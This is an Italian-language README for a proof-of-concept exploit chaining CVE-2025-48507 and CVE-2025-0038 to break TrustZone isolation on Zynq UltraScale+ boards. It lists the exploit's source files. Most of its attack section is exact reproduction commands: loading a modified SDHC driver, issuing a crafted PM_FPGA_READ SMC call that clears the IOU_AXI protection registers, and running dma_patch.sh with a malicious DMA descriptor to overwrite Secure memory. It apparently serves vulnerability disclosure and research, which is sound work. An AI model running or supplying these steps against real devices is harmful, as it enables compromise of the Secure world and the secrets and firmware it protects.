
Prova di concetto di CVE-2025-48507. La vulnerabilità di sicurezza può essere sfruttata da software Non-Secure (ad es., Linux) per violare Trust Zone e ottenere accesso al mondo Secure.
Il software Non-Secure potrebbe sfruttare CVE-2025-48507 e CVE-2025-0038 per ottenere accesso in lettura/scrittura al Secure World su piattaforme Zynq UltraScale+, violando così l'isolamento di TrustZone. A tal fine, il software Non-Secure sfrutta CVE-2025-0038 e CVE-2025-48507 per cancellare i registri IOU_AXI_WPRTCN e IOU_AXI_RPRTCN (0xFF240000) e impostare l'SD Host Controller come Master Secure. Quindi, il software Non-Secure (es. Linux) utilizza l'SD Host Controller (l'interfaccia slave è ancora Non-Secure) per scrivere o leggere qualsiasi memoria Secure.
Ulteriori informazioni:
Piattaforme interessate:
Componenti interessati:
source/ : Sorgente per riprodurre questo PoC su MPSoC Zynq UltraScale+ (ZC104)
Per sfruttare CVE-2025-48507 e CVE-2025-0038
smc-tt.c: Modulo kernel di base che consente a Linux Non-Secure di effettuare chiamate SMC arbitrarie.
Makefile: Un Makefile per la cross-compilazione dei moduli kernel (i percorsi devono essere adattati).
Per sfruttare CVE-2025-0038 e CVE-2025-48507
doc/ : Presentazioni e articolo di ricerca che descrivono in dettaglio le vulnerabilità di sicurezza a livello di TF-A e PMU.
hw_debug/: Script per debugger hardware per il debug di TF-A sull'APU e del processore PMU. Forniscono un ambiente per eseguire il debug delle funzioni interessate nel firmware PMU e in TF-A e per confermare il successo dell'attacco. Questi script devono essere usati con Trace32 e un debugger hardware JTAG Lauterbach PowerDebug PRO. Il debugger hardware è stato collegato alla porta JTAG (J180) dello ZCU104.
Costruire un ambiente affetto (es. Linux, TF-A, PMU Firmware...).
Quando si compila Linux, impostare il driver SDHC come modulo kernel caricabile tramite kconfig. Necessario solo per lo sfruttamento.
Compilare i moduli kernel smc-tt.c e sdhci.c . Il Makefile fornito può essere utilizzato adattando i percorsi del kernel e del compilatore.
Per sfruttare le CVE, aggiungere smc-tt.ko al rootfs di Linux
Per lo sfruttamento delle CVE, aggiungere sdhci.ko e dma_patch.sh al rootfs di Linux
PoC ed Exploit delle CVE:
Nel PoC, il sistema (es. fslb, uboot...) è stato avviato da una scheda SD. Il rootfs di Linux è stato flashato su una USB. Per l'attacco DMA, Linux ha utilizzato una partizione vuota della scheda SD accessibile tramite l'SD Host Controller pilotato dal driver SDHC modificato (sdhci.ko).
Per testare solo le CVE, i passaggi 2, 3 e 5 possono essere saltati.
Comandi U-boot per avviare Linux nel mondo Non-secure con il suo rootfs su una partizione USB:
setenv bootargs root="/dev/sda" rw rootwait; fatload mmc 0 0x200000 Image && fatload mmc 0 0x1e0000 system.dtb && booti 0x200000 - 0x1e0000
Caricare il driver SDHC modificato per eseguire accessi DMA arbitrari:
insmod /sdhci.ko
insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-pltfm.ko
insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-of-arasan.ko
Provare a patchare la memoria Secure sfruttando il driver SDHC modificato. Dovrebbe fallire poiché l'SDHC è ancora Non-Secure:
./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3
ARG1: PAYLOAD
ARG2: Descrittore malevolo per eseguire un accesso DMA rogue.
ARG3: Una partizione di dispositivo gestita dall'SD Host Controller controllato dal driver SDHC modificato.
Sfruttare le CVE per cancellare IOU_AXI_WPRTCN e IOU_AXI_RPRTCN (0xFF240000):
insmod /smc-tt.ko r0=0xc200002E r1=0xff24000000000100 r2=0x100000000
0xc200002E: Chiamata SMC affetta (PM_FPGA_READ).
0xff24000000000100: Indirizzo da cancellare (0xFF240000) (cioè IOU_AXI_RPRTCN/IOU_AXI_WPRTCN) e il numero di byte da cancellare (0x00000100)
Ora Linux può sfruttare la DMA dell'SDHC per accedere completamente alla memoria Secure
0x100000000: Legge i dati PL nella memoria principale (0x1). Poiché non è stato caricato nulla, ciò cancella semplicemente la regione di memoria presa di mira.
Ulteriori informazioni sui parametri di PM_FPGA_READ: https://github.com/ARM-software/arm-trusted-firmware/blob/c8eb6b042b57a145945a80fe4949c6f678309925/plat/xilinx/zynqmp/pm_service/zynqmp_pm_api_sys.c#L1693
Provare a patchare nuovamente la memoria Secure (0xFFDC0000). Dovrebbe riuscire poiché l'SDHC ora è Secure:
./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3